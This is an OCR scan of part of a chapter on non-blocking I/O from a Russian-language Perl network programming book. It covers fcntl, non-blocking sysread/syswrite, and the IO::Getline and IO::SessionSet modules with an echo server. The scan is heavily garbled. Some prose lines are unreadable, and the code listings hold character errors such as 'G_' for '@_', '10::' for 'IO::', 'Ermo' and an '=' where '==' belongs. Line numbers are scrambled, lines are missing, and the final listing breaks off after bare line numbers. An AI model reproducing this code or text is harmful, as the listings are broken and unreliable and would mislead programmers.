$rerrult - eyeopen(FILKHAN"LE,Jfil«tiame,Smodet,<permej)
Вызов/функции «tysoieno, кстррря Рыла представлен^ в главе 2, позволяет отметить дескрмп-
i тер -файла кэк неблокирующий Г|ри его открытии. Общая схема состоит -в добавлений флажка
_N~N3LOCKl к флажкам, поредаваеиым в пагаметре. $mc-dc Например, чтобы открыть устройстве
/leV/ta^tO для неблокирующей записи, межне применить в.ыэов:
М5чИ Ecntl;
"' sysftpen <TAi E*,' /dev/ta; «0*, OjWRfWLYIO_N0NFLOCK);
Функция sysopen () работает только с локальными файлами и не может
применяться для открытия каналов или сокетов. Поэтому создание неблокирующих дескрипторов
файлов таким способом обычно применяется только при работе с медленными
локальными устройствами, такими как лентопротяжки. С помощью функций socket () или
open () дескриптор файла открывается и после этого отмечается как неблокирующий.
Именно это действие можно выполнить с применением функции f cntl ().
Глава 13. Неблокирующий ввод-вывод
369
- Для перевода ранее открытого сокета или дескриптора файла в неблокирующий режим приме- ,
i няется функция' fcntl О. Фактически эта функция fcntl () представляет собой универсальную н
(утилиту для выполнения множества операций с дескриптором Низкого уровня.! Она позволяет не J
только изменить флажки дескриптора, но и заблокировать его, разблокировать, создать копию и вы-*
полнить еще более "тонкие" операции^ Некоторые из этих областей применения данной (функции j
рассматриваются в главе 14, - :. -.L J
В этом вызове применяется три параметра. Первые два представляют собой ранее открытый а
дескриптор и числовую константу, обозначающую команду, которая должна быть выполнена в этом' |
дескрипторе. Третьим параметром является числовой код, который должен быть передан команде. 3
j Некоторые команды не требуют дополнительных данных, ив этом случае в.качестве третьего пара-|
[метра обычно передается значение О. В случае успешного выполнения функция fcbtlQ; возвра-1
I щает истинное значение. В ином случае она устанавливает код ошибки в переменной S! и возвра-1
| щаетзначениеundef. ^ " _,.".._ _ \._.__ ... „._.,. ... ", „ а , „ „ \i
В модуле Fcntl предусмотрены константы для всех команд f cntl (). При
работе с неблокирующими дескрипторами применяются две команды, F_GETFL
и F_SETFL, которые служат для выборки и изменения флажков дескриптора после
его создания. При вызове функция fcntl () с командой F_GETFL возвращает бито- 1
вую маску, содержащую текущие установки флажков дескриптора. Для установки
значений флажков дескриптора, заданных параметром $operand, можно вызвать
функцию fcntl () с командой F_SETFL. Параметр $operand должен включать
флажок 0_NONBLOCK. Код результата сообщает об успешном или неудачном
выполнении операции изменения флажков. I
При использовании функции fcntl () для установки неблокирующего состояния
дескриптора файла нужно учитывать следующее. Поскольку неблокирующее
поведение — это только одна из опций, которая может быть установлена в битовой маске
флажков, вначале нужно вызвать команду F__GETFL, определить, какие опции уже
установлены, затем установить бит 0_NONBLOCK с помощью поразрядной операции
"ИЛИ" и только после этого вызвать команду F_SETFL для применения новых
значений флажков к дескриптору.
Ниже приведена небольшая подпрограмма blocking (), которая иллюстрирует
указанный порядок действий. Первым параметром процедуры является дескриптор
файла, а вторым (необязательным) — логическое значение, которое может
применяться для включения или выключения блокирующего состояния. При вызове без
второго параметра подпрограмма возвращает истинное значение, если дескриптор
файла является блокирующим; в ином случае — ложное.
use Fcntl;
sub blocking {
my {$handle,$blocking) = G_;
die "Can't fcntl(F GETFL)" unless my $flags =
fcntl ($handle,F_GETFL, 0) ;
my $current = {$flags & 0_NONBLOCK) == 0;
if (defined $blocking) {
$flags &= ~0_NONBLOCK if $nonblocking;
$flags |= 0_NONBLOCK unless $blocking;
die "Can't fcntl(F_SETFL)" unless
fcntl($handle,FSETFL,$flags) ;
}
return $current;
}
370 Часть III. Разработка систем TCP типа клиент/сервер
Обратите внимание, что сокеты по умолчанию начинают свою работу как
блокирующие. Для перевода их в неблокирующее состояние необходимо вызвать
подпрограмм)' blocking () с параметром 0.
warn "making socket nonblocking";
blocking($sock, 0) ;
Дополнительная информация о функции f cntl () приведена в документе POD
perlf unc дистрибутива Perl.
Создание неблокирующих дескрипторов:
объектно-ориентированный штерфейс
При использовании объектно-ориентированных модулей IO: :Socket или
10:: File установка неблокирующего режима сводится просто к вызову метода
blocking () дескриптора.
Sblocking_status = $handle->blocking([$boolean]) "-' I
При вызове без параметров метод blbckings() возвращает текущее состояние блокировки вво-' ^
да-вывода для дескриптора. Истинное значение указывает, что дескриптор находится в обычном J
блокирующем режиме, а ложное—что активизирован неблокирующий ввод-вывод. Для изменения ]
.состояния блокировки дескриптора может быть задано логическое значение при вызове метода |
blocking () ..После вызова метода с ложным значением сокет становится'неблокирующим, а после ;
его вызова с истинным значением восстанавливается обычное блокирующее поведение. .,.,.
„fl.^CT^ .
-Л
Помните, что объекты сокетов по умолчанию начинают свою работу как
блокирующие. Для перевода сокета в неблокирующий режим необходимо вызвать его метод
blocking () с ложным значением параметра.
$socket->blocking(0);
Применение неблокирующих
дескрипторов
После перехода к использованию неблокирующих дескрипторов файлов
конструкция программы немного усложняется, поскольку число возможных результатов
вызова функций sysread () и syswrite (} увеличивается.
Выполнение функции sysreadf) на
неблокирующих дескрипторах файлов
При использовании функции sysread () с неблокирующими дескрипторами
файлов могут быть получены следующие результаты.
1. Если затребовано N байтов данных и доступно, по меньшей мере, N байтов, то
функция sysread () заполняет предоставленный ей скалярный буфер N
байтами и возвращает число считанных байтов.
Глава 13. Неблокирующий ввод-вывод
371
2. Если затребовано N байтов данных и доступно меньшее число байтов (но не
менее одного), то функция sysread () заполняет скалярный буфер
доступными байтами и возвращает число считанных байтов.
3. Если затребовано N байтов данных и недоступно ни одного байта, то функция
sysread () возвращает значение undef и устанавливает в переменной $ ! код
ошибки EWOULDBLOCK.
4. В конце файла функция sysread () возвращает числовое значение 0.
5. Во всех других аварийных ситуациях функция sysread () возвращает
значение undef и устанавливает в переменной $ ! соответствующий код ошибки.
При чтении из неблокирующих дескрипторов необходимо правильно отличать
состояние конца файла от состояния EWOULDBLOCK. В первом состоянии функция
sysread () возвращает числовое значение 0, а во втором — значение undef. Код для
чтения из неблокирующего сокета должен выглядеть примерно так:
my $rc = sysread(SOCK,$data, $bytes) ;
if (defined $rc) { # Сшибок не обнаружено
if ($rc > 0) { # Операция чтения выполнена успешно
# Обработка полученных результатов
} else { # Конец файла
close SOCK;
# Код, выполняемый при достижении конца файла
}
} elsif ($! = EWOULDBLOCK) { # Ошибка. Операция чтения была бы
# заблокирована
# Код, выполняемый в ситуации блокировки.
# Возможно, просто повторение попытки чтения
} else {
# Ошибка, код обработки которой не предусмотрен
die "sysreadO error: $!";
}
В этом фрагменте кода вызывается функция sysread (), и код результата
сохраняется в переменной $гс. Вначале осуществляется проверка, определен ли код
результата. Если он определен, значит, вызов был выполнен успешно. Положительный
код результата указывает на то, что было считано определенное число байтов, а
числовое значение 0 обозначает состояние конца файла. В обоих случаях
предпринимаются действия, соответствующие требованиям приложения.
Если код результата не определен, это значит, что возникла какая-то ошибка и
конкретный код ошибки можно найти в переменной $!. Вначале выполняется проверка,
является ли переменная $ ! численно равной значению EWOULDBLOCK, и, если они
равны, обрабатывается ошибка. В большинстве случаев достаточно просто перейти в
начало главного цикла программы и попытаться снова выполнить чтение. При
возникновении других ошибок вызывается функция die с сообщением об ошибке.
Выполнение функции syswrite() на
неблокирующих дескрипторах файлов
При использовании функции syswriteO с неблокирующими дескрипторами
файлов могут быть получены следующие результаты.
3J2
Часть Ш. Разработка систем TCP типа клиент/сервер
1. Полная запись. Если предпринимается попытка записать N байтов данных и
дескриптор файла может их все принять, то функция выполняет запись байтов
и возвращает их число в качестве результата своего выполнения.
2. Частичная запись. Если предпринимается попытка записать N байтов данных
и дескриптор файла может принять только их часть (но не менее одного), то
функция записывает все возможные байты в передающий буфер дескриптора
и возвращает число фактически записанных байтов.
3. Запись, которая была бы заблокирована. Если предпринимается попытка записать
N байтов данных и дескриптор файла не может принять ни одного байта, то
функция syswrite () немедленно выполняет возврат с результатом undef
и устанавливает в переменной $ ! значение EWOULDBLOCK.
4. Ошибка записи. При других ошибках функция syswrite () возвращает
значение undef и устанавливает в переменной $! соответствующий код ошибки.
Наиболее часто возникает ошибка записи EPIPE, которая указывает на то, что
удаленный хост прекратил чтение.
В данном случае самой сложной является частичная запись. Для этого приходится
запоминать, в каком месте была остановлена запись, и предпринимать попытку
отправить остальные данные позже. Ниже показана общая структура кода, которая
может применяться для выполнения указанных действий.
my $rc = syswrite (SOCK, $d'ata);
if ($rc > 0) { # Записана какая-то часть данных
substr($data,0,$rc) =.''; # Усечь буфер
} elsif ($! == EWOULDBLOCK) { # Операция записи была бы
# заблокирована, но это не ошибка
# Код, выполняемый в ситуации блокировки.
# Возможно, просто повторение попытки записи
} else {
die "error on syswrite(): $!";
}
Вызывается функция syswrite () для записи содержимого скалярной
переменной $data и проверяется код результата вызова. Если записан хотя бы один байт, то
переменная усекается с использованием следующего приема.
substr($data,0,$rc) = •';
subs t r () — это одна из немногих функций Perl, которые могут применяться слева
от оператора присваивания. Все, что находится с начала подстроки, длина которой
соответствует числу записанных байтов, заменяется пустой строкой, после чего
переменная содержит только незаписанные данные. В том случае, если функция
syswrite () смогла записать все содержимое переменной, данное выражение
substг () оставляет переменную $data пустой.
Если код результата равен 0 или undef, то код ошибки снова сравнивается со
значением EWOULDBLOCK и предпринимаются соответствующие действия — как правило,
возврат в начало главного цикла программы и попытка снова выполнить запись. При
других ошибках вызывается функция die с сообщением об ошибке.
Этот фрагмент кода необходимо выполнять до тех пор, пока данные $data не
будут полностью записаны. Весь этот ряд операторов можно просто заключить в цикл.
while (length $data > 0) {
my $rc = syswrite(SOCK,$data);
# ... и т.д. ...
}
Глава 13. Неблокирующий ввод-вывод 373
Однако такая конструкция не очень эффективна, поскольку повторная запись
в один и тот же сокет, не готовый к записи, может просто привести к повторному
появлению ошибки EWOULDBLOCK. Гораздо лучше включить вызов функции syswrite ()
в цикл select () и выполнять другую работу, пока сокет не будет готов к приему
дополнительных данных. В следующем разделе показано, как это сделать.
Применение неблокирующих
дескрипторов в построчных операциях
ввода-вывода
Как было описано в главе 12, применять функции построчного чтения в
сочетании с функцией select () опасно, поскольку при выполнении функции select () не
учитывается содержимое буферов библиотеки stdio. Еще одна проблема состоит
в том, что функции построчного чтения блокируются, если невозможно считать
целую строку, а как только блокируется любая из операций ввода-вывода,
мультиплексная программа приостанавливается.
Дело в том, что нужно изменить семантику вызова функции getline () так, чтобы
можно было различать три разные ситуации.
1. Из дескриптора файла была успешно считана полная строка.
2. Дескриптор файла содержит признак конца файла EOF или код ошибки.
3. Дескриптор файла еще не содержит полную строку, доступную для чтения.
Стандартный оператор о и функция getline () языка Perl хорошо справляются с
ситуациями 1 и 2, но блокируются в ситуации 3. Наша задача состоит в изменении этого
поведения так, чтобы функция getline () немедленно выполняла возврат, если не готова
для чтения полная строка, и позволяла отличить этот случай от ошибки ввода-вывода.
Модуль 10::Getline, описанный в этой главе, представляет собой оболочку для
дескриптора файла или объекта 10:: Handle. В нем имеется конструктор new()
и единственный метод объекта getline ().
$wrapped = 10: :Getl±ne->new($fileliandle) '
s Этот метод создает новую неблокирующую оболочку для функции getline. Метод riew'O при- 1
нимает единственный параметр, которым может являться либо дескриптор файла, либочпен иерар- !
хии ifci *Елпа\ы, и возвращает новый зСъект
Jr^eult ■ $«rapp*d->getlihe ($datA)
Метод -j-etline ()• считывает стрику текста из дескриптора файла, заклклнгнного в оболочку,
и помещает ее в переменную $d.ita, возсращая кед результата, который указывает на успешное
или неудачное выполнение операции,
?errcr » $1ггахт;ёЙ1->вггог
Этот метсд возвращает п.тсле^нюк} ошибку вьода-еывода, возникшую в оболочке, или 0, если
оши^каме была обнаружена. ,4
$wrapped->flueh
Этот метод вгзерощает объект б известное состояние, отбрасывая есе частично
буферизованные данные. -
$fh « $wrapF-o-i->hnndle
Эт.тг метод еозеращэст дескриптор файла,, кгторый использовался для ее здания оболочки.
314
Часть Ш. Разработка систем TCP типа клиент/сервер
Обратите внимание, что метод getline () в большей степени напоминает
функции read() или sysread(), чем традиционный оператор о. Он не возвращает
непосредственно считанную строку, а копирует ее в параметр $data и возвращает код
результата. В табл. 13.1 приведены возможные коды результата вызова метода
getline().
Таблица 13.1. Коды результата вызова метода getline () модуля Ю:: Getline
Результат операции Код результата
Считана полная строка Длина строки
Конец файла О
Операция была бы заблокирована 0Е0
Другие ошибки ввода-вывода undef
Метод getline () возвращает длину строки (включая символы обозначения конца
строки), если строка считана успешно; 0, если обнаружен конец файла; и undef, если
возникли другие ошибки. Однако есть также дополнительный код результата,
возвращаемый при обнаружении методом getline (), что операция должна быть
заблокирована. В этом случае метод возвращает строку 0Е0.
Как было описано в главе 8, в числовом контексте строка 0Е0 рассматривается
как числовое значение 0 (считается, что эта строка представляет число с
плавающей точкой 0. 0Е0). Однако в логическом контексте 0Е0 имеет истинное значение.
Этот код результата можно интерпретировать как имеющий смысл — "нулевой, но
истинный". Иными словами, он означает следующее: "ошибок нет, но повторите
попытку позднее".
Кроме метода getline (), можно вызвать любой другой метод объекта
дескриптора файла, заключенного в оболочку. Метод IO: :Getline просто передает вызов
метода основополагающему объекту. Это позволяет непосредственно вызывать такие
методы объекта IO: :Getline, как sysreadО Hclose().
Применение модуля IO: ."Getline
Модуль IO:: Getline используется в сочетании с функцией select (). Поскольку
он никогда не блокируется, его нельзя применять просто для непосредственной
замены оператора о.
Чтобы продемонстрировать область применения этого модуля, в листинге 13.1
приведена небольшая программа, в которой объект IO: :Getline используется в
сочетании с методом select () для построчного чтения из дескриптора STDIN.
Загружаются модули 10:: Getline и 10:: Select и создается набор дескрипторов
IO: :Select, содержащий дескриптор файла STDIN. Затем вызывается метод
IO: :Getline->new() для создания нового неблокирующего объекта IO: :Getline,
который является оболочкой для STDIN.
После этого программа входит в цикл select (). При каждом проходе по циклу
вызывается метод can_read() объекта IO: :Select, который возвращает истинное
значение, если дескриптор STDIN содержит данные, доступные для чтения.
Глава 13. Неблокирующий ввод-вывод 375
I Листинг 13.1. Чтение из дескриптора stdin e применением модуля i
10::Getline
0: #!/usr/local/bin/perl -w
1: # Файл: cat.pi
2: use strict;
3: use IO::Getline;
4: use 10::Select;
5: my $s = 10::Select->new(\*STDIN);
6: my $stdin = 10::Getline->new(\*STDIN);
7: my $data;
8: while ($s->can_read) {
9: my $rc = $stdin->getline($data) or last;
10: print $data if $rc > 0;
11: }
12: die "Read error: ",$stdin->error if $stdin->error;
Вместо чтения из дескриптора STDIN с помощью оператора о, вызывается метод
getline() объекта IO::Getline для чтения строки в переменную $data. Метод
get line () может вернуть ложное значение, и в этом случае происходит выход из
цикла, поскольку достигнут конец файла. В ином случае он может вернуть истинное
значение. Если код результата больше 0, это значит, что получена строка, которая может
быть выведена; поэтому строка копируется в стандартный вывод. В противном случае
становится известно, что полная строка еще не считана, поэтому снова происходит
возврат в начало цикла проверки дескриптора с помощью объекта IO: : Select.
В конце цикла вызывается метод error () этой оболочки для проверки того, не
был ли цикл завершен аварийно. В таком случае вызывается функция die с
сообщением об ошибке, содержащим код ошибки.
Объекты 10:: Get line могут также применяться в блокирующем режиме. Для
этого достаточно просто вызвать метод blocking () объекта. Этот метод
автоматически проходит вниз по иерархии, вплоть до основополагающего дескриптора файла.
$stdin->blocking(1); # Снова перейти к блокирующему поведению
Этот модуль будет применяться в реальных программах в разделе "Срочные
данные TCP" главы 17 и в разделе "Протокол UDP" главы 18.
Модуль IO::Getline
Модуль IO::Getline (листинг 13.2) иллюстрирует общий метод буферизации
частичного чтения из неблокирующего дескриптора файла.
ЛИСТИНГ 13.2. Модуль ХО: :Getlihe
package 10: .-Getline;
# Файл: 10/Getline.pm
# Построчное чтение из сокетов и дескрипторов с доступом к
# внутреннему буферу
376
Часть III. Разработка систем TCP типа клиент/сервер
use strict;
use Carp 'croak';
use IO::Handle;
use Ermo ■ EWOULDBLOCK • ;
use constant READSIZE => 1024;
use vars '$AUTOLOAD";
ib new {
my
my
my
$pack =
$handle
$buffer
shift;
= shift I
$handle->blocking(0)
my
$self =
{ handle
buffer
index
eof
error
croak "use
#
=> $handle.
=> $buffer.
=> 0,
=> o.
=> 0,
return bless $self,$pack;
Readline->new(\$handle)\n"
}
sub AUTOLOAD {
my $self = shift;
my $type = ref($self) or croak "$self is not an object";
my $name = $AUTOLOAD;
$name =~ s/.*://; # Удалить часть имени метода
# с обозначением модуля
eval { $self->{handle}->$name(G_) };
croak $G if $G;
}
sub handle { $_[0]->{handle} }
sub error { $_[0]->{error} }
sub flush {
my $self = shift;
$self->{buffer} = " ;
$self->{index} = 0;
}
# $bytes = $reader->getline($data);
# В случае успешного выполнения возвращает число байтов
# В случае ошибки возвращает undef.
# При обнаружении признака конца файла EOF возвращает 0.
# Если должна быть заблокирована, возвращает 0Е0
sub getline {
my $self = shift;
45: return 0 if $self->{eof}; # Предыдущая операция чтения
# возвратила EOF
46: return if $self->{error}; # Предыдущая операция чтения
# возвратила ошибку
47: # Определить положение символов обозначения конца строки
# в буфере
48: my $i = index($self->{buffer},$/,$self->{index});
49: if ($i < 0) {
Глава 13. Неблокирующий ввод-вывод
377
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$self->{index} = length $self»{buf fer};
my $rc = sysread($self->{handle},
$self->{buffer},
READSIZE,length $self->{buffer}) ;
unless (defined $rc) { # Возникла ошибка
return ■ 0E0' if $! = EWOULDBLOCK; # Операция
# должна была быть заблокирована
$_[0] = $self->{buffer}; # Вернуть все
# полученные данные
$self->{error} = $!; # Запомнить, что
# произошло
return length $_[0]; # и вернуть
# значение длины полученных данных
}
elsif ($rc ==0) { # Обнаружен признак конца файла EOF
$_[0] = $self->{buffer}; # Вернуть все
# полученные данные
$self->{eof}++; # Запомнить, что
# произошло
return length $_[0];
}
# Управление переходит в эту точку, если в результате
# выполнения операции чтения были получены данные,
# поэтому нужно снова попытаться найти признак конца
# строки EOL
66: $i = index($self->{buffer},$/,$self->{index});
67: }
68: # Если $i<0, то символы обозначения конца строки не
# обнаружены. Будем считать, что возникла ошибка
# EWOULDBLOCK
69: if ($i < 0) {
70: $self->{index} = length $self->{buffer};
71: return '0E0';
72: }
73: $_[0] = substr($self->{buffer},0,$i+length($/));
# Сохранить строку
74: substr($self->{buffer}, 0,$i+length($/)) = •*; # и отсечь
# обозначение конца строки
$self->{index} = 0;
return length $_[0];
75:
76:
77:
78:
}
l;
Проведем анализ программы.
Строки 1-9. Настройка модуля. Загружаются модули Ю::Handle и Carp, и из модуля Errno
берется константа с кодом ошибки ewouldblock. Другая константа устанавливает размер
фрагментов, с которыми будут выполняться операции чтения с помощью функции sysreadf) из
основополагающего дескриптора файла. Модуль Carp предоставляет доступ к сообщениям об
ошибках, которые указывают на местонахождение ошибок с точки зрения вызывающего
оператора, и поэтому они более предпочтительны для использования внутри модулей.
378
Часть Ш. Разработка систем TCP типа клиент/сервер
Строки 10-22. Метод new(). Это— конструктор для новых объектов. Принимается
дескриптор файла, переданный модулю из вызывающей процедуры, отмечается как неблокирующий
и записывается под ключом handle в новый анонимный хеш, введенный в пространство имен
модуля с помощью функции bless (). Кроме того, определяются следующие элементы
анонимного хеша: внутренняя область для буферизации входящих данных, доступ к которым
осуществляется по ключу buffer, индекс, используемый при поиске символов обозначения конца
строки, и два флажка. Флажок eof устанавливается при обнаружении признака конца файла,
a error — при обнаружении ошибки.
Строки 23-30. Метод autoload. Этот метод представляет собой подпрограмму, которая
выполняется интерпретатором Perl автоматически, если вызывающий оператор пытается
обратиться к методу, который не определен в модуле. Данный метод определен в качестве
дополнительного средства. Его код просто передает вызов метода и параметры дескриптору файла,
заключенному в оболочку, и возвращает ошибку, если вызов метода завершается неудачей.
Строка 31. Средство доступа handle (). Этот метод возвращает дескриптор файла,
заключенный в оболочку, если вызывающая процедура должна получить к нему доступ низкого уровня.
Строка 32. Средство доступа error (). Если во время выполнения метода getlineO
возникает ошибка, этот метод возвращает номер ошибки.
Строки 33-37. Метод flush(). Данный метод переводит объект в известное состояние, стирая
все частично буферизованные строки в поле buffer и устанавливая значение index равным 0.
Строки 38-77. Метод getlineO. Это— самая интересная часть модуля. При входе в эту
подпрограмму элемент $_[0] (первый параметр в массиве е_ параметров подпрограммы)
содержит сквлярную переменную, которая примет считанную строку. Для изменения этой
переменной в вызывающем коде мы ссылаемся непосредственно на элемент $_[0], а не копируем
его в локальную переменную обычным образом.
Поскольку операция ввода выполняется в буферизованном режиме, эта подпрограмма должна
быть готова сообщить вызывающей подпрограмме о том, какие условия встретились ранее.
Работа начинается с проверки флажков eof и error. Если при последнем вызове этой
подпрограммы был обнаружен признак конца файла eof, возвращается числовое значение о.
В ином случае, если была обнаружена ошибка, возвращается значение undef.
Во внутреннем буфере этой подпрограммы уже может находиться полная строка, которая
осталась после предыдущего чтения. Применяется встроенная функция index () языка Perl для
поиска следующей последовательности символов с обозначением конца строки в буфере;
функция возвращает информацию о местонахождении этой последовательности. Вместо
жесткого кодирования символов обозначения конца строки, применяется текущее содержимое
глобальной переменной $/. Кроме того, поиск можно немного оптимизировать, запомнив, в
каком месте он был остановлен в прошлый раз. Эта информация будет храниться в поле index.
Результат выполнения функции index () сохраняется в локальной переменной $1.
Строки 49-59. Чтение следующей части данных и обработка ошибок. Если в
буферизованных данных отсутствует последовательность символов, обозначающих конец строки, то
переменная $i принимает значение -1. В этом случае необходимо прочитать дополнительную
часть данных из дескриптора файла и предпринять еще одну попытку поиска конца строки.
Запоминается позиция, в которой поиск конца строки был прекращен в прошлый раз, и
вызывается функция sysreadf) с параметрами, которые вызывают добавление вновь считанных
данных к концу буфера.
Если функция sysread () возвращает значение undef, это может быть следствием ряда
причин. Поскольку ввод является неблокирующим, одна из них может быть связана с
возникновением ошибки ewouldblock. В этом случае невозможно вернуть полную строку, поэтому
вызывающей процедуре возвращается значение Оео.
В ином случае обнаруживается ошибка ввода-вывода того или иного типа. При таких
обстоятельствах возвращается все, что осталось в буфере, даже если это — не полная строка. Это
аналогично поведению оператора о, который при возникновении ошибки возвращает часть
строки. Устанавливается флажок error ошибки и возвращается длина этой части строки.
Обратите внимание, что вызывающая процедура фактически не обнаружит возникающий при
этом результат undef до следующего вызова метода getline ().
Строки 54-59. Обработка признака конца файла eof. При обнаружении конца файла
применяется такая же методика. В данном случае код результата функции sysread () по определе-
Глава 13. Неблокирующий ввод-вывод
379
нию равен о. Возвращается все, что осталось в буфере, запоминается состояние флажка eof
и возвращается размер содержимого буфера.
• Строки 65-77. Попытка снова найти конец строки. Если управление перешло в эту
точку, это значит, что функция sysreadf) добавила один или более новых байтов
данных к буферу. Теперь снова вызывается функция index () для определения того, не
появилась ли последовательность символов с обозначением конца строки. Если нет,
запоминается позиция, в которой в этот раз был остановлен поиск, и вызывающей
процедуре возвращается значение 0Е0.
В ином случае будет обнаружен конец строки. В скаляр вызывающей процедуры копируется
все, что находится с начала буфера, вплоть до последовательности с обозначением конца
строки (и включая ее), а затем скопированная часть буфера удаляется. Значение поля index
снова устанавливается равным О, и возвращается длина строки.
Универсальный неблокирующий модуль
ввода-вывода
Модуль 10:: Get line позволяет решить проблему использования метода
select () наряду с построчным вводом-выводом, но не позволяет решить другие
проблемы неблокирующего ввода-вывода, такие как неполная запись. В этом
разделе описано более общее решение проблемы неблокирующего ввода-вывода. Здесь
представлены два модуля, 10: :SessionSet и 10: :SessionData. Класс
10: : SessionData представляет собой оболочку для модуля 10: : Socket и
включает методы read () и write (), в которых применяется синтаксис модуля
10: : Socket. Кроме того, он является усовершенствованным вариантом основного
сокета, поскольку позволяет выполнять неполную запись и обрабатывать
сообщение об ошибке EW0ULDBL0CK.
Класс 10: :SessionSet подобен (по своим возможностям) классу 10: : Select.
Он управляет многочисленными объектами 10: :SessionData и позволяет
мультиплексировать выполняемые ими операции ввода-вывода. Кроме средств,
аналогичных модулю 10: :Select, вмодуле 10: :SessionSet предусмотрен
автоматический вызов функции accept () для приемных сокетов и добавление подключенных
сокетов в пул управляемых дескрипторов. К сожалению, код этих модулей является
сложным. Это типично для приложений, в которых используется неблокирующий
ввод-вывод, поскольку приходится учитывать множество исключительных и
аварийных ситуаций.
Прежде чем перейти к подробному изучению этих модулей, рассмотрим простое
приложение, в котором они используются.
Неблокирующий эхо-сервер
В листинге 13.3 приведен код простого эхо-сервера, в котором применяется модуль
10:: SessionSet. Этот сервер просто возвращает все отправленные ему строки .
Данный сервер не переворачивает строки, как сервер, применяемый в предыдущих примерах, поскольку
он ориентирован на обработку потока байтов, а не строк. Пример построчного ввода-вывода приведен
в следующем разделе.
380
Часть III. Разработка систем TCP типа клиент/сервер
Листинг 13.3. Эхо-сервер, в котором применяется модуль До: :Sess±onSet
О: #•/usr/local/bin/perl -w
1: # Файл: echo.pl
2: use strict;
3: use 10::SessionSet;
4: use constant PORT => 12000;
5
6
7
8
9
10
my $listen_socket = 10::Socket::INET->new(LocalPort => PORT,
Listen => 20,
Proto => 'tcp'.
Reuse => 1);
die "Can't create a listening socket: $@" unless $listen_socket;
my $session set = 10::SessionSet->new($listen_socket);
11: warn "Listening for connections...\n";
12: while (1) {
13: my @ready = $session_set->wait;
14
15
16
17
18
19
20
21
22:
for my $session (@ready) {
my $data;
if (my $rc = $session->read($data,4096)) {
$session->write($data) if $rc > 0;
} else {
$session->close;
}
}
Проведем анализ программы.
Строки 1-4. Загрузка модулей. Выполнение программы начинается с загрузки модуля
Ю:: SessionSet, который загружает модуль ю: :SessionData автоматически.
Строки 5-9. Создание приемного сокета. Создается приемный сокет обычным образом,
а в случае ошибки вызывается функция die с сообщением об ошибке.
Строка 10. Создание нового объекта IO:: SessionSet. Создается объект Ю:: SessionSet
путем вызова метода io: :SessionSet->new() с использованием приемного сокета в
качестве параметра. Этот метод сообщает объекту io:: SessionSet, что в сокете должен
автоматически выполняться прием нового соединения с помощью функции accept () при каждой
попытке подключения нового клиента.
Строки 11-13. Главный цикл. Остальная часть программы сервера состоит примерно из
десятка строк кода. Основу сервера составляет бесконечный цикл. При каждом проходе по циклу
вызывается метод wait () объекта ю:: SessionSet, который возвращает список
дескрипторов, готовых для чтения. Данный метод аналогичен методу can_read () модуля Ю:: select,
но возвращает список развитых объектов io: :SessionData, а не более простых объектов
Ю: .-Socket.
В методе wait () предусмотрены все необходимые действия для обслуживания приемного
сокета. Если обнаружено входящее соединение, метод wait О вызывает метод accept ()
приемного сокета, преобразует возвращенный подключенный сокет в новый объект
io: -.sessionData и добавляет объект к своему списку контролируемых сокетов. Затем этот
новый объект сеанса возвращается вызывающей процедуре наряду со всеми прочими
объектами Ю:: SessionData, готовыми к вводу-выводу.
Глава 13. Неблокирующий ввод-вывод
381
Метод wait () предусматривает также завершение неполных операций записи, которые могли
произойти в течение предыдущих проходов по циклу. Если в настоящее время ни один сеанс
не готов для чтения, метод wait () блокируется на неопределенное время.
• Строки 14-21. Обслуживание сеансов. Теперь выполняется цикл по всем объектам
SessicnData, возвращенным методом wait (), и каждый объект обслуживается по очереди.
Для каждого объекта сеанса вызывается метод read (), который возвращает вплоть до 4 Кбайт
данных в локальную переменную. Если метод read () возвращает истинное значение, эти
данные немедленно передаются в метод write () сеанса, что приводит к их отправке клиенту.
Если метод read() возвращает ложное значение, это рассматривается как признак конца
файла. Сеанс закрывается путем вызова метода close () и выполнение цикла продолжается.
Хотя метод 10: :SessionData->read() во многом подобен методу
10: :Socket->read(), между ними есть очень важное различие. Метод модуля
10: : Socket возвращает либо число считанных байтов, либо значение undef (при
неудачном завершении), тогда как метод Ю: :SessionData->read(), как и метод
getlineO модуля Getline, может также возвращать значение 0Е0, если операция
чтения была бы заблокирована.
В главном цикле программы, приведенной в листинге 13.3, вначале проверяется код
результата в логическом операторе if (). В этом контексте код результата
EW0ULDBL0CK рассматривается как истинное значение, сообщающее о том, что ошибки
не возникали. Затем перед вызовом метода write () этот код результата трактуется как
число байтов и выполняется проверка того, имеет ли он значение больше нуля.
В этом случае значение 0Е0 используется в числовом контексте и поэтому
рассматривается как число байтов, равное нулю. Операция записи пропускается, и через
некоторое время предпринимается еще одна попытка чтения из объекта сеанса.
Метод 10: :SessionData->write () имеет такой же синтаксис, как и метод
10: : Socket->write (). Он отправляет максимально возможный объем данных и
буферизует данные, оставшиеся от неполной записи. Остальные данные, поставленные
в очередь, будут записаны автоматически при последующих вызовах метода wait ().
В случае успешного выполнения метод write () возвращает число записанных
байтов; если операция была бы заблокирована— значение 0Е0; а в случае ошибки —
значение undef. Поскольку подавляющее большинство ошибок ввода-вывода,
возникающих во время операций записи, не может быть исправлено, при обнаружении
ошибки метод write () также автоматически закрывает объект 10: :SessionData
и удаляет его из набора сеансов. (Чтобы изменить это правило поведения, можно
создать подкласс класса 10: : SessionData и перекрыть метод, выполняющий указанное
действие.) Для определения того, какая именно возникла ошибка, проверяется
значение переменной $!.
Если во время вызова метода close () объекта сеанса в нем буферизированы
исходящие данные, выполнение этого метода будет отложено. При последующих
вызовах метода wait () будут предприняты попытки отправить оставшиеся данные,
которые поставлены в очередь в объекте SessionData, и сокет будет закрыт только после
того, как передающий буфер будет пуст. Однако даже если в объекте сеанса остались
буферизованные данные, метод close () немедленно удаляет сеанс из набора сеансов
10: : SessionSet с тем, чтобы этот объект больше не возвращал результатов.
Еще одно важное различие между модулями 10: : Socket и 10: : SessionData
состоит в том, что объекты 10: : SessionData не являются дескрипторами файлов.
Нельзя непосредственно вызывать функции sysread () или syswrite () с
использованием в качестве параметра объектов SessionData. Операции ввода-вывода следует
всегда выполнять с помощью вызова методов read (} и write ().
382
Часть Ш. Разработка систем TCP типа клиент/сервер
Неблокирующий сервер с построчным
вводом-выводом
Сам модуль 10: :SessionSet не позволяет выполнять построчное чтение, но эту
возможность предоставляет его подкласс 10: :LineBufferedSet. В листинге 13.4
представлен еще один вариант психотерапевтического сервера Eliza, созданный на
основе этого класса.
Листинг 13.4. Психотерапевтический сервер с использованием модуля
IO::LineBufferedSet
0: #!/usr/local/bin/perl -w
1: # Файл: eliza_nonblock.pl
8
9
10
11
12
13
18
19
20
21
22
